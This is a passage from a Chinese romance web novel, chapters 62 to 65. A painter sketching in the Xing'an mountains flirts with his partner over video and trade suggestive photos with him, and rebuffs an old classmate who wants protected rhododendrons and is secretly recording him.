虽然每天都看,但郁书青依然不习惯,觉得这?人的审美实在有问题。 太绿了?,简直绿得人心发慌。 【矿矿子:今天也是想老公的一天呢!】 【矿矿子:小狗趴趴.jpg】 而?上面的消息,全是事无巨细地在汇报自己的行程,大到?工作安排,小到?吃了?什么饭,甚至有一天,徐矿花了?整整二十分钟的时间,来给他直播枝桠上的小松鼠往自己嘴里塞榛仁—— 别?说,鼓囊囊的小嘴还挺好玩。 郁书青往上翻。 是徐矿的视频,很短,只有十几秒钟。 背景是一间农房,墙壁上还挂着金黄的玉米和辣椒,颜色喜庆鲜亮,而?徐矿则戴了?帽子和围巾,身上穿着厚重的军大衣,没系扣,脸颊冻得有些发红,眼睛亮晶晶的,边走边撩起里面的衣服,状似不经意地露出腹肌:“这?里好冷啊,擦擦汗。” 郁书青笑了?一声:“神经病。” 本来今年冬天就冷,徐矿去的还是白山黑水的东北兴安岭,郁书青查过气?温,很怕这?人冻死在那里。 因为一开?始,徐矿发回来的视频,穿的都很单薄,并且坚决不戴帽子,说是会破坏自己的发型。 郁书青劝了?两句,对方没听,也就作罢。 然后第三天,徐矿就老实了?。 乖巧地窝在生了?火的炕上,给自己裹成了?个球,可怜巴巴地问郁书青,说老公我现在都不帅了?,你还会爱我吗? 郁书青说别?撒娇。 奇怪的是,自从两人分开?异地,那种奇怪的隔阂感就慢慢消失,重新回到?了?以前插科打诨的相处模式,徐矿在换上了?东北传统装备后,终于精神起来,满山野地撒丫子乱跑,当地美院的老师都跟不上他,开?玩笑说你这?跟傻狍子有什么区别?,徐矿就回头,特认真地说当然不一样,我媳妇说,我是傻狗。 没错,自从去了?东北,这?人也跟着染上了?方言,睡觉前非黏糊糊地喊一句媳妇,并且贼拉公平,不仅自己喊,还让郁书青也这?样叫他。 郁书青才不干。 徐矿就笑笑,也不强求,继续给郁书青看他拍的照片,或者画。 “漂亮吗,是兴安杜鹃。” 郁书青不认得什么花,他对艺术的审美和感知也相当一般,只觉得这?漫山遍野的花还挺好看,是一种很传统的紫红色,朵朵绽放在细瘦的枝桠上,没什么叶子,有种枯木逢春般旺盛的生命力?。 “好看,”郁书青点头,“很漂亮。” 徐矿就给他讲,说这?种植物在野外生长得很缓慢,因为周期长,所以很难人工种植来供应鲜花市场,部分黑心商家就在野外直接砍伐,带去售卖,给生态造成很大破坏。 “太可惜了?,”徐矿难得正经,“前几年盗伐很严重……兴安杜鹃是二级保护植物,还架不住有人利益熏心,铤而?走险。” 郁书青这?下也严肃起来,看了?好一会儿:“你这?次去,就是画这?种花吗?” “也不算是,”徐矿就笑笑,“现在这?季节,花还没开?呢,我这?次来是画枯枝的。” 那隐着细小的花苞,安静地蛰伏于冬日的枝条,才是他此行的真实目的。 “枯枝?” “嗯,然后等等看春天,可以去画融冰的河流,和一些牛羊。” 徐矿继续道:“小咪,你见过牛甩尾巴吗?很可爱。” 郁书青没有回答,只是模模糊糊地想,在徐矿的眼睛里,这?个世界的一切都似乎很可爱,无论是为了?赶蚊蝇而?甩尾巴的牛,成群结队吃草的绵羊,还是没有到?开?花时节的枯枝,抑或是他自己—— 徐矿都觉得很可爱。 而?春天,则是他最喜欢的季节。 当时的郁书青把?手机倒扣了?,最终没有问出心中的疑惑。 你要待到?春天吗? 什么时候才回来呀。 那天郁书青喝了?点酒,心绪翻涌,觉得自个儿也没这?个资格开?口?,毕竟人家徐矿提出了?要谈恋爱,是他把?人推开?,说保持现状就挺好,那凭什么还要天天追自己身后呢?人家又不是没有自己的生活和工作,不能?因为被徐矿车接车送习惯了?,就把?对方当做司机,太不合适。 但第二天酒醒,郁书青就清醒过来。 那又如何! 是徐矿自愿的! 他就是这?种不内耗的性格,虽然莫名的悸动?太过奇怪,郁书青还是很快就适应了?现在的节奏,和以前一样按时上下班,偶尔去朋友的便利店里捏面包,在家里调点小酒,闲暇就骑着摩托去跑山,于风的吹拂中,释放自己的全部压力?,晚上回来打开?手机,心情?好的话,就和对方聊那么几句—— 就像现在。 视频中,徐矿把?上衣撩得更高,露出紧绷的腹部:“哎呀,真的好想老公,要是能?和老公见面,互相亲亲摸摸该有多幸福,如果能?再让我看看腿就更好了?。” 太刻意了?。 这?么冷还要露肚子,就是为了?显摆自个儿的肌肉。 郁书青洗完澡出来,舒舒服服地躺在床上,决定?看在明天周末的份上,跟这?人聊几句。 视频很快接通。 但信号有些不好,在短暂的卡顿后,露出了?一张巨大的下巴颏。 郁书青沉默了?下:“……给这?玩意拿远点。” “宝贝?” 徐矿似乎正在爬山,说话呼哧带喘:“今天过得怎么样啊,想我了?吗?” “还成。” 郁书青眯着眼睛看过去:“都这?么晚了?,你怎么还在外面?” 兴安岭那昼夜温差大,一般到?了?晚上,大家都是早早回屋待着,现在大概都晚上十点钟了?,徐矿怎么还在夜间游荡,都能?听到?呼啸的风声。 “有个朋友来了?,”徐矿把?手机举起,调整了?下角度,“晚上燃了?点篝火,一块儿喝酒唱歌,这?会儿刚结束。” 郁书青“哦”了?一声,也没问是谁,随意地聊了?几句。 “有没有好好吃饭,想我了?吗?” “……能?不能?问点有营养的内容。” 徐矿瞪大眼睛:“这?还不够营养,我天天都惦记着你有没有好好吃饭好好睡觉,乖,你明明答应过我要照顾好自己不能?因为晚上没有我的怀抱就孤枕难眠,这?样我也会忍不住去想你,老公要不这?样吧,等我回去也别?挂,今天晚上可以通过视频来进行一些涩涩的事,不管是让我看脸还是看腿,哪怕就看个手也成,算了?,还是看嘴吧,怎么样?我也让你看。” 郁书青面无表情?:“我要睡了?。” 徐矿滋儿哇地叫起来:“别?,我错了?,你要是害羞的话不视频也行,我觉得这?种事电话更刺激,就是只能?听见声音,却看不到?脸,不是更能?增加想象吗……喂,老公?老公你说句话啊!” 他着急忙慌地把?手机拿近,温度太低,风把?头顶的星星都给吹散了?,只能?借助一点的月光看向屏幕,仔细地去瞧郁书青的脸。 郁书青躺在床上,像是刚洗完澡,头发还湿着,整个人看起来柔和而?温暖。 路旁是不知名的茂密灌木,横生的枝条打在胳膊上,徐矿感觉自己的心也跟着软了?,不由自主?地放慢脚步:“……你真好看。” 郁书青默默地看他。 徐矿继续:“想把?今天晚上最美味的一根烤玉米送给你吃。” 郁书青这?才开?口?:“你在说什么啊?” “说你好看的程度。” 前面有人叫他,说徐老师加紧速度,别?落下了?,徐矿嘴里嗯嗯啊啊地应着,手指抚着屏幕中郁书青的脸:“好想把?你带过来,介绍给大家看,让山里的野狍子都知道,你有多可爱。” 没来由的一句肉麻,弄得郁书青有些不大自在。 说起来,他还真的没去接触徐矿的朋友圈子。 “别?了?,”郁书青轻声道,“干嘛要带我见你的朋友,还有什么……野狍子。” 徐矿笑得眼睛很亮:“大家都会喜欢你的。” “胡扯,我又不讨人喜欢。” “真的吗,那你就没必要把?我当人看。” 第63章 第 63 章 一直到挂了电话, 徐矿还在想。 郁书青怎么会觉得自己不讨人喜欢呢。 他把手机放回包里,快步赶上前方的人,脚步轻快, 同时也进行了些许的反思。 曾经自己也觉得郁书青不成?, 很讨厌, 但现在他变了, 他已经觉得郁书青非常可爱了! 人嘛,总是?会成?长的。 他已经长大了, 成?熟了! 兴安岭的夜实在太冷, 哪怕刚离开篝火没多久, 也被?扑面而来的北风打了一个趔趄, 徐矿脸颊冻得发?麻,把旁边的灌木条拨开,一脚踩进手电筒打出的光亮里。 “真冷啊!” 带队的是?当地?一位姓闫的土著, 叫闫海平, 搞果?树种?植的, 承包了好几?个山头, 给美院食堂供应新鲜瓜果?, 特敬佩那些能拿笔写字画画的,自己没事也跟着蹭课,再加上老实忠厚,跟几?位院里的老师关系都不错, 尤其是?徐矿, 这趟出行都直接住在人家屋里头了。 “别崴脚了,”闫海平拿手电筒往徐矿脚下照, “这里路不好走。” 徐矿笑嘻嘻地?跟着,说成?。 前面的人听?见动静, 半开玩笑地?拿手电筒晃过来:“你刚在后面跟谁打电话呢?” 徐矿这会儿心情好,随口道:“我老婆。” 他不藏着掖着,来的第?一天就在那儿显摆,说自己不能喝酒,别灌我,家里人管得严,旁边人瞎起?哄,说隔着千八百里的地?儿呢!徐矿一本正?经讲,那也不成?,我听?老婆的。 而他老婆是?谁,不用跟对方解释了。 说起?来,也算认识。 毕竟初中的时候,人家还开过自己和郁书青的玩笑,说你们怎么跟两口子似的,哪儿有男生这样亲热的,老实交代,是?不是?有什么情况? “高元,” 徐矿拿手挡在闫海平脸上:“别晃着眼了。” 周围响起?野生动物的嚎声,在深夜格外凄厉,尤其是?月光躲在云朵后面,只?剩下了一点还没被?风吹散的星。 高元笑着把手电筒收起?来,没再往人脸上晃,步子放慢,等徐矿跟上,才漫不经心地?开口:“你俩偷偷摸摸地?搞一块,好上了,也不说请我们吃饭啊。” 徐矿把大衣裹紧:“你那时候不是?还没回来吗?” 其实高中后,他俩关系就一般了,中间也没闹过什么大矛盾,但很神奇的是?,徐矿对这人产生了一点没来由的厌恶,再加上高元去了美国,能聚会一次不容易,所以渐行渐远,几?乎不怎么联系。 这次突然出现,也出乎徐矿的意料。 高元来的还挺轰轰烈烈,秘书司机都带了不少,说是?来兴安岭这边谈生意,听?说徐矿也在这儿,正?巧,一块儿吃个饭吧,晚上本来闫海平说要请徐矿吃地?锅鸡,泡汤了,跟着往山里跑,因为高元坚持要来看兴安杜鹃。 看完,干脆在山脚下烧了点火,支锅烧水,煮了一大份山野菜面条,闫海平在下面埋了几?根玉米,最?后从猩红的木炭里拔出来,还蹦着火星子,用厚实的皮手套把上面的灰拍了,大家吃得直呼气,都说真香。 “我这不是?一直在外地?嘛,”高元慢悠悠地?开口,“是?你不够意思,不然一个电话我肯定回来,参加你们婚礼。” 徐矿笑笑,没说话。 高元比初中的时候差不了多少,还是?有点痞,十几?岁的男生走在路上,突然做个投篮动作很正?常,关键是?他到现在,似乎都没抹去身上那种?吊儿郎当的气质,哪怕抹了发?胶喷香水,尖头皮鞋擦得噌亮,徐矿也觉得,他跟卓越初中小吃街上,那个朝女?生吹口哨的形象差不了多少。 “喂,啥时候给嫂子领出来见见啊?” 高元继续道:“好多年没见,还怪想念的……哥们,我说这话你不会生气吧?” 徐矿不怎么在意:“哪儿会。” 高元喜欢的是?女?生。 在他印象里,这家伙开窍最?早胆子最?大,换女?朋友跟流水似的,没个定性。 “成?,那等到时候回去吧,你待到什么时候?” “看情况,现在还不一定。” 一行人已经走到了山脚下的平台,几?辆轿车静静地?停在那里,高元住在镇上的宾馆,徐矿不用继续跑,就留宿在了闫海平家,空旷的大地?上浮着萧瑟的气息,高元把手电筒丢给旁边的人,凑近徐矿:“反正?兴安杜鹃的事……” 徐矿毫不犹豫:“不可能。” 他也不在乎旁边人听见,声音不高不低,话音落下,前面的闫海平立刻回头,看了他们一眼。 高元的神色有些尴尬,脸颊上的肌肉不受控制地?抖了抖,终是?强压怒火:“就几棵花……” “你那么大的生意,”徐矿目光沉下去,“还要来摘几棵花?” 篝火的温暖没了,叙旧的情谊也压不住暗潮涌动的对峙,高元做了个深呼吸,重新笑了起?来:“成?,你当我没说。” 徐矿也笑:“那最?好。” 几?辆轿车扬长而去,轰隆隆的引擎声吵醒了栖在枝上的雀鸟,拍着翅膀隐入夜色。 闫海平在后面搓着手,表情为难:“小徐老师……” 徐矿一回头,还是?那种?懒散的模样:“嗯?” “这次麻烦你了,”闫海平嗫嚅道,“不然也不用……” “哪儿的话,” 徐矿一胳膊勾对方脖子上,顺着往小院里走了:“我来就是?画画的,别的也都是?顺手帮忙,别放心上。” 闫海平踉跄着往回走,抬头看了徐矿一眼,对方脸上满是?笑意,语气也轻松。 “哎呀,你愁什么?真要闹腾起?来就给我老婆打电话,让他来救我。” 徐矿一脸自豪:“我老婆可能打了!” 闫海平也被?逗笑了,院子门推开,栅栏里的走地?鸡抬头“咕咕”了两声,一只?黄毛小狗跑过来,摇着尾巴蹭两人的裤腿,徐矿伸手,使劲儿揉了两把狗头:“我去睡了啊。” “好,小徐老师早点休息。” 他是?真心实意感谢徐矿,人家出钱出力,什么脏活苦活都不怕,和他印象里的那些有钱的“先生”,完全不一样。 徐矿给小黄狗撸得头晕脑胀,才满意地?站起?来,慢悠悠地?去二楼,闫家地?方大房间多,媳妇利落又能干,家里俩小孩都上学了,晚上睡得早,他上楼梯的时候把脚步放轻,打开木门,直接栽倒在床上。 有点累。 也有点想郁书青。 “真奇怪,”徐矿嘟嘟囔囔地?翻了个身,“怎么能这么想呢?” 他是?下了很大的决心,才出来这趟的。 一是?画展的工作流程到时间了,那边美院的老师已经在催他,二是?为了那漫山遍野的兴安杜鹃,徐矿很早就听?闫海平讲过了,那时候他只?是?一次交流活动,见到了这位朴实的中年男人,也见到了传说中的兴安杜鹃。 “留在山里最?好看。” 徐矿把窗户上的插销拧开,稍微散了点新鲜空气进来,闫海平的媳妇给屋里弄得暖洋洋的,他额头稍微出了点汗,随着“吱呀”一声,冷冽的风就毫不客气地?扑了进来。 “留在纸上也好看,”徐矿当时森*晚*整*理这样说的,“等冬天,我去画兴安杜鹃。” 不仅要画,更重要的是?宣传,因为有很多买家不知道所谓的“人工种?植”是?遮羞布,真正?的兴安杜鹃生长太缓慢了,无法大量供应市场,于是?就改头换面,起?了别的名字进行售卖,徐矿这次画展的主题就是?枯木逢春,他想留在这里,看看大雪,也等到小小的花苞慢慢绽开。 他才来了半个月的功夫,就已经见到两起?盗采的了,徐矿身材高大,往那一站很能唬人,凶神恶煞地?一吼,对方就吓得扭头跑,闫海平觉得挺对不住他的,说怎么能让你一个拿画笔的人干这事,徐矿就不怎么在意,说我也是?找灵感嘛。 一个画画的,不出去走走看看,很难有心境上的突破。 而还有个重要的原因,徐矿谁也没说,那就是?,他也是?有意地?避开郁书青—— 看出来了,郁书青在躲他。 甚至为了不让自己接送,故意加班到很晚。 徐矿一琢磨不是?个事,与其这样别别扭扭,不如给彼此一点距离感,也能让郁书青安静下来,好好思考他们之间的关系。 当然,这可不代表他没在继续追求。 “万一呢,”徐矿洗漱完躺在床上,给窗户留了很小的缝隙,“万一这段时间,他就想起?来了呢。” 算了,郁书青可能还没想起?来,他就忍不住跑回去了。 也不知道那人在干什么,刚才视频挂得匆忙,徐矿拿出手机,再次点开对方的头像。 是?只?猫猫的背影。 【矿矿子:老公?,睡了吗?】 【郁:睡了。】 徐矿蹭地?一下坐起?来。 【矿矿子:你秒回,你爱我,你睡着了还坚持给我回复,好幸福!】 【矿矿子:老公?,好想你啊,你有没有一点点的想我?】 【郁:没有。】 【矿矿子:真的吗,我不信,对了今天晚上吃烤玉米的时候,我不小心被?火星子溅了一下,正?好烫在我腹肌的地?方,你要看一下吗?如果?能给我呼呼就更好了。】 这次,等待的时间稍微长了点。 徐矿也不着急,趴在床上,轻轻地?晃动着手机玩,几?乎都能想象出郁书青脸上的表情,可能在笑,可能一脸核善,也可能面无表情地?吐槽他—— 事实上,郁书青的嘴角是?翘着的。 他把刚打的几?个字删了,重新打,又删,最?终还是?冷冷地?回了一句:“不看,拿远点。” 【矿矿子:好吧真没办法,那就给你看一眼好了。】 【矿矿子:图片.jpg,图片.jpg,图片.jpg】 好多张! 超刻意露出腹肌! 郁书青直接点开大图,还好,他不跟自己过不去,既然徐矿乐意给他看,那他就悄咪咪地?看几?眼,也不算吃亏。 毕竟徐矿的身材,真的很好。 几?乎都不用费尽心思找角度,只?是?撩起?衣服,对着随手拍那么几?张,就能清晰地?看见线条流畅的肌肉,小腹紧绷,几?道青-筋若隐若现,仿佛是?大自然最?完美的雕刻作品。 郁书青眯了眯眼睛。 应该是?躺在床上拍的,没有刻意让肌肉充-血,所以腹肌就不过分夸张,没有那种?健身房里充满汗水味的血脉喷张感,而是?属于一个健康强壮男人的—— 等等。 郁书青的眼睛微微睁大。 最?后一张和别的不一样,露出了徐矿的脸。 走之前,徐矿曾半开玩笑地?说过,你要是?想我,我就发?照片给你解馋,但是?有个前提条件就是?露脸不露身……郁书青还骂他,说男人露肌肉怎么了,徐矿很认真地?竖起?一根指头,摇了摇,说反正?我只?给你一个人看。 前面那么多张,都是?对腹肌的特写。 而最?后一张,手机被?支架固定,徐矿半跪在床上,英俊的眉眼全是?笑意,嘴里咬着掀开的上衣,灰色运动裤的裤腰拉得很低,两条系带松垮地?打了个结,男人的窄腰完全收束进去,不用触摸,都能看出那柔韧的肌理。 郁书青的喉结滚动了下。 说实话,真的好涩。 一条新消息恰如其分地?出现。 【矿矿子:老公?,喜欢吗,害羞.jpg】 【矿矿子:老公?,你怎么不说话啊?难道你在做一些坏坏的事吗,对着我的照片……天哪,你怎么可以做出这种?事,是?在暗示我吗?请问你这样做有什么意义?吗,道德在哪里,尊严在哪里,地?址在哪里,你的腹肌照又在哪里?】 【矿矿子:看看你的。】 郁书青做了个深呼吸,重新返回那张照片上,正?准备点击保存,照片却突然被?撤回。 【郁:?】 【矿矿子:嘻嘻,喜欢吗?叫声老公?就给你看。】 徐矿重新靠在床头,美滋滋地?看着手机,很快,屏幕再次亮起?。 【郁:再发?一遍。】 【郁:我要看。】 第64章 第 64 章 徐矿愣了下。 把手机凑近, 看了几?眼,又点开郁书青的头像,确定了一下。 没错, 这颜色条纹和慵懒的背影, 就是大咪啊。 发这话的, 也的确是他们家的小咪啊。 徐矿唰地从?床上爬起来?, 不仅把那张照片重新发过去,还把手机再?次放在支架上, 用同样的角度和姿势拍了几?张, 露得更多, 姿势更骚, 极为慷慨大方地给郁书青发过去。 【矿矿子:拿去,不够再?问我要!】 【郁:够了,谢谢。】 【矿矿子:那也给我看看你?的!】 【郁:困, 晚安。】 徐矿把手机收起来?, 自个儿瞅着聊天记录笑了半天, 内心像是充盈的气球一般慢慢膨胀起来?, 窗户开着缝不怕了, 外?面再?呼啸的北风也无所谓了,回复都带着愉悦的轻快。 【矿矿子:晚安,kiss kiss!】 手机屏幕暗下来?了。 这也是徐矿的个人?习惯,也就是无论他们聊天多久, 说到了什么, 最后一句话一定是自己发送的,也就是不让郁书青的话落地上, 有次俩人?不知?道在别什么劲儿,郁书青坚持跟着回复, 始终没有结束对话,到最后实在没话说了,可能累了,干脆就发句号,所以当时聊天页面特别滑稽,对面一串沉默的句号,徐矿这边,则是一溜排的红色小心心,红色嘴唇,和红色玫瑰。 最后,还是以他发了张舌头狂甩小屁-股的表情包结束的。 可能郁书青被恶心到了,就结束了这场幼稚的对话。 徐矿琢磨着,可能郁书青不喜欢这个,于是换了几?个别的表情包,更骚的。 差点被拉黑。 今天还是郁书青第一次,主?动?提出要他发照片的,徐矿不免有些荡漾,睡不着,干脆去浴室那边洗了个澡,屋里暖气烧得足,出来?的时候脸颊被热气蒸得发红,几?缕额发散在脸颊旁,又被他随手捋到后面,露出英俊的脸。 ? 带有很?强烈的攻击性。 其实徐矿不笑,或者说没那么吊儿郎当的时候,他的五官和气质,天然散发着一定的压迫感。 他躺在床上,上半身还没穿衣服,只在腰间围着浴巾,精心地找好角度后,才抬起手机,对着自己“咔嚓”拍了一张。 视觉中心点是男人?的喉结和锁骨,漂亮的肌肉线条稍微有点虚化,大概是没有对焦好,让人?联想起拍摄者的漫不经?心,似乎只是随手一拍,虽然模糊,但胸肌的起伏依然明显,再?加上昏黄的灯光照射,几?乎都能感觉到上面俯着的水珠。 摇摇欲坠。 【矿矿子:刚洗完澡,啊,好冷。】 【矿矿子:图片.jpg】 【矿矿子:哎呀,怎么不小心发出去了?老公你?睡了吗,你?一定是睡了吧,没关系我这会也打算睡呢,就是爬山时肩膀那里好像被树枝擦到,没有镜子,就随手拍了张看看,但好像没有拍好呢,调整角度的时候还摔倒了,正好手指按在了发送键上你?说怎么就那么巧正好发给你?了呢我可真是个小笨蛋。】 打完字,徐矿才后知?后觉有点冷,抬手拿起睡衣,想着郁书青应该睡着了,那就—— 手机屏幕亮起。 【郁:呼呼。】 徐矿怔了下,好几?秒才反应过来?这两?个字的含义。 以前撒娇的时候,也撒泼打滚地抱着郁书青的腿说,摔倒了,要大哥哥呼呼才能起来?,但对方都是一脸冷漠的说,那我呼你?脸上?徐矿就立马爬起来?说别,这张脸留着,有用呢。 郁书青说,有什么用,那么厚。 徐矿就笑,说厚了不好吗,厚了耐打抗摔不信你?试试亲我一口……啊不,不信你?轻轻地抚摸一下,再?说了,我有很?认真地保养呢每周都做两?次面膜,毕竟男人?的容貌丈夫的荣耀算了倒过来?说也成,毕竟咱俩关系这么好! 郁书青就一嘴巴子呼过去了。 但是现在的“呼呼”,肯定不是要揍他的意思。 说句很?庸俗的话,徐矿这会儿心里甜丝丝的,觉得郁书青真的很?温柔。 捡到宝了。 怎么办啊,好想他。 事实上这会的郁书青,也在想徐矿。 他给最后那几?张照片翻来?覆去看了会儿,倒不是盯着人?家的身材看,就是咋说呢,郁书青不仅看徐矿,也看后面的背景,徐矿住的房间明显属于民?宿一类,干净,整洁,没有过多的家具装饰,着实简陋,但偏偏因为这质朴的环境,让照片中的男人?显得有种原始的吸引力。 郁书青把手机倒扣在枕边,闭上眼叹了口气。 不行,还是睡不着。 都怪徐矿。 没事发什么照片来?撩他! 一直到了凌晨,翻来滚去的郁书青终于坐起来?,气呼呼的,干脆迁怒别人?。 都别想睡了! 床头灯打开,柔黄的灯光覆在浅灰色的床褥上,映出淡淡的光晕,看起来?,就仿佛是夕阳下平静的河,而?随着动?作,河面泛起了涟漪—— 郁书青的脚背绷得很直,蹭皱了一点点床褥。 不行。 拍脚也太羞耻了。 尤其是姿势,怎么拍怎么怪。 实在想不通,之前徐矿竟然还拿着他的脚打,擦得脚心都痛。 可是拍腿的话,郁书青有点不乐意,嫌太奖励对方了,他坐在床上,把撩起的裤腿放下去,陷入苦恼。 真的要拍腿吗? 徐矿很?喜欢他的腿,尤其是扛在肩膀上的时候,总会偏头去吻脚-腕内侧的位置,然后按住膝-盖分开两?边,往下压折。 还要夸他的腿漂亮。 “唔……” 郁书青使劲儿揉了揉自己的脸,决定礼尚往来?,看在两?人?半个月没见的份上,勉为其难地拍那么一张,他并拢双腿,又放下,犹犹豫豫了好一会儿,才把睡裤往上卷了几?道,对着小腿的位置,拍了一张。 很?好! 没有审美的郁书青,成功拍出了类似两?条灯管并排的感觉。 但他瞅了会,觉得挺满意的。 大概每个人?心目中,都有些游走于边缘的胜负欲,连着拍了好几?张后,郁书青突然觉得,自己仿佛也有点擦边的天赋,甚至玩上瘾,对着自己的胳膊也拍了个特写?。 肌肉线条当然比不上徐矿,但拿出去还是很?能看的。 郁书青全部点了发送。 然后秒速关掉手机,丢到一边,把微烫的脸埋进枕头里,心砰砰直跳。 居然给徐矿发腿照了。 还挺刺激- 第二天一早,郁书青睡了个懒觉。 他懒洋洋地打了个呵欠,坐起来?,使劲儿拉伸了下,才慢悠悠地摸出手机,点开的刹那,表情复杂。 虽然早有心理准备,特意静音,但没想到,徐矿居然能发出这么多条信息,拉了好久都没看完。 从?早上六点钟开始。 【矿矿子:啊啊啊啊啊啊!】 【矿矿子:舌头狂甩小屁股.jpg】 【矿矿子:首先要夸老公善良,谢谢老公的奖励,然后就是小咪你?真的很?直男啊哈哈哈哪儿有这样拍腿拍胳膊的!你?可以把镜头稍微往下一点,拍个锁骨或者腰也好啊虽然我并没有很?想看但你?的腰的确很?漂亮,哈哈哈我承认了我就是想看所以能不能再?拍几?张当我求你?了,可以吗,不可以的话我等会再?来?问。】 【矿矿子:给我看!给我看啊!我啃我啃我啃!】 剩下的就全是一些骚话,两?个词就可以概括。 可爱,想草。 郁书青耳尖微微发红,终于拉到了最下面的一条。 【矿矿子:受不了了,等我。】 郁书青愣了下,一骨碌从?床上爬起来?,拨通电话,接通的刹那就忍不住抬高音量:“你?在哪儿,跟我开玩笑的吧?” 对面的背景音稍微有些嘈杂,但也能清晰地听出笑意。 “你?别慌,我本来?就说这周回去一趟的,正好。” 郁书青睁大眼睛:“你?怎么回来?,我记得……” “对,这边要下雪了,”徐矿语气轻松,“机场全都停飞了,但是宝贝别着急,可以开车。” 开车? 从?兴安岭开车回来?,起码要十八个小时! 郁书青骂他:“你?有病吗,这么远突然跑回来?,不能再?等等看天气吗?” “不能呀。” 徐矿还在笑:“因为天气越来?越冷,而?我提前查过,下周咱们这里也要下雪了。” 他微微停顿了一下,继续。 “我想和你?看今年的初雪。” “本来?就是要回来?的,不过提前了两?天,别担心。” 郁书青这才放下心来?,叮嘱道:“那就好,你?们遇见服务区也多休息,别让司机疲劳驾驶。” 徐矿一口答应:“好哒!” 碍于旁边有人?,他没跟郁书青聊太久,简单说几?句就挂了电话,车厢内恢复安静,旁边的人?立刻转过头来?,双手抱肩:“你?俩感情还真好。” 徐矿笑笑。 按照他的计划,的确是打算过两?天回来?的,给郁书青一个惊喜,之所以提前出发,收到的照片是最重要的原因。 因为有人?想他了啊。 还有就是,正巧高元也要回去,请求搭他的车。 “兄弟,我这边限制高消费了,”高元挠着头,“没法儿买机票,挺麻烦的……你?今天走的话捎我一程呗。” 徐矿那会正收拾行李呢,听见闫海平说有朋友找,下楼就遇见了高元。 他也没说为啥不开自个儿的车,徐矿问了,对方就含糊过去,说助理还要留在这签合同,但是他得回去见他爹一趟,不然就要被停卡了。 捎朋友一段,不是什么大事,徐矿没有和郁书青说。 反正也就是送到对方小区,又不会领过去见郁书青。 “真羡慕啊,”高元叹了口气,“我这几?年谈恋爱净折腾了,没遇见一个好的。” 他俩坐在后面,前面是轮换开车的两?位司机,说好了中间不停下来?住宿,抓紧时间,第二天一早就能到地方,也能躲过即将出现的暴风雪天气。 徐矿手肘撑在车厢上:“那就是缘分没到。” 高元笑着:“那你?俩缘分怎么到的,跟我讲讲呗!” 在外?面,徐矿一般不太讲郁书青的事,之前别人?提到,也都是认真地说,没有,我们关系不好,只是协议婚姻罢了,别人?要是再?追问,那感情差的话为什么选对方,徐矿就说,那因为我想收拾他,同住一个屋檐下多方便啊……干嘛用这种眼神看我,你?们不懂,我没有被迷惑的,我有自己的节奏,我自有安排。 一开始,他的确是这样想的。 要报复郁书青。 这么多年对他视若无睹,见面的时候还把他忘了。 但是现在,徐矿长大了,他不这样想了! 郁书青即使任性点,又怎么了,他自愿的,他就喜欢看郁书青这样,以前的自己挺装的,现在懂事了就好! 所以这会儿,徐矿也只是简单开口:“还好,就是巧合。” “怎么巧合,我听说你?一开始不喜欢他啊?” 徐矿沉吟了下,认真点头:“是,有点误会。” “误会?” 坐车的时间久了,人?总会无聊,中间的挡板早都放下,宽敞的后座车厢散着淡淡的香水味,只有他俩在随意聊天,高元似乎挺有兴趣的样子:“是不是你?之前在外?面有人?,被他发现了?” 这是个不太好的猜测。 徐矿摇头:“没有。” “没有被他发现?”高元凑近了点,“那你?之前谈的分干净没,听兄弟我一句劝,既然打算跟人?在一块,就好好过日子,不说以前,起码现在的郁书青,我听说圈子还挺简单的,不乱玩。” 徐矿笑骂一句:“你?从?哪儿来?的那么多听说,净胡扯。” 高元兴致勃勃:“怎么胡扯,难道你?在国外?的时候,没……” “没谈过,是我初恋,会好好过日子。” 徐矿干脆利落地开口,嘴角还翘着,但是眼眸里的笑意没了:“还有要问的吗?” 高元突兀地顿了下,又重新乐呵起来?:“那你?是郁书青初恋吗,我听说他和一个姓秦的老板有点不清楚……哎兄弟,你?别怪我又是听说,我也是拿你?当自己人?才这样的,可别介意啊!” “不介意啊,”徐矿的手指撑在额上,挡住了些许英俊的眉眼,“我又不在乎这个。” 高元很?夸张地“哇”了一声,冲徐矿竖起大拇指。 “说的对,真男人?就是不在乎过去,不像我,我就是太情感洁癖了才老是遇见烂人?,话说回来?,兄弟你?连这都不介意……你?是不是什么都无所谓啊?” 徐矿反问:“谁说的?” 他语气随意:“我当然有很?介意的东西。” 高元的眼睛立马亮了:“什么……” “你?正在偷偷录音的手机。” 徐矿还撑着额头,似笑非笑的样子,语调很?冷:“我介意。” “拿来?。” 第65章 第 65 章 话?音落下, 高元的?笑?还粘在脸上。 车辆呼啸前进,不是节假日高峰期,国道一路畅行无阻, 有拉货的?卡车从旁边经?过, 偶尔鸣笛, 发出?沉闷的?声音。 高元这才惊醒似的?, 眼睛快速地?眨了两下:“什么啊,我都没?明白?你意?思。” 徐矿还保持着同样?的?姿势, 没?动, 琥珀般的?眼眸里?一片冰冷:“别让我说第二遍。” “不是, ”高元抬高音量, “你神经?啊,我录音干嘛……你别瞎说。” 他两只手在自己膝盖上放着,拳头攥得很紧, 一副不忿的?样?子。 “不是, 咱这么多年没?见, 你居然怀疑我录音?这有什么好录的?, 搞笑?, 我从头到尾就没?把手机拿出?来,别冤枉人?!” 徐矿静静地?看着他,突然笑?了起来:“跟你开?玩笑?呢,紧张什么?” 高元张了张嘴, 闭上, 不知是不是被影响到,剩下的?时间都很沉默, 只是偶尔飞快地?瞥徐矿一眼,又快速收回目光。 突兀的?对话?结束后, 徐矿的?心情像是不错,神色轻松,车辆经?过隧道的?时候还自如地?哼着歌,但不知道这人?是故意?的?还是怎么,唱得都极为难听。 难听到让高元怀疑,对方是不是在敲打自己。 今年是寒冬,头顶乌云翻滚,朔风呼啸着席卷而来,怕封路,为了躲开?即将到来的?暴风雪,所以就没?有在沿途留宿,只是一路换着驾驶,遇见服务区就再休息一会儿,行程倒是比想象中更为顺利。 徐矿有个臭毛病,那就是旅途的?时候不太吃东西,哪怕是私人?飞机或者商务舱,都不行,他最多喝点热乎的?饮品,所以,当高元把刚买到的?汉堡递过去时,徐矿也只是摆摆手,说不用了。 “怎么,”高元舌头顶了下上颚,“怕我给你下毒?” 这会儿在服务区,两个司机都跑到风口?抽烟了,徐矿懒懒地?靠在路边,手里?拿着一瓶牛奶,从便利店买的?,还热着,摸着就舒服。 “吃不下去,”徐矿拧开?瓶子,“你们?吃吧。” 高元和他并肩站着:“不够意?思啊。” “晕车,容易吐。” “哈?” 高元把包装纸打开?,狠狠咬了口?汉堡:“我怎么就不知道,你还有晕车的?毛病呢?” 徐矿不以为意?:“好多年没?见,你不知道的?事多着呢。” 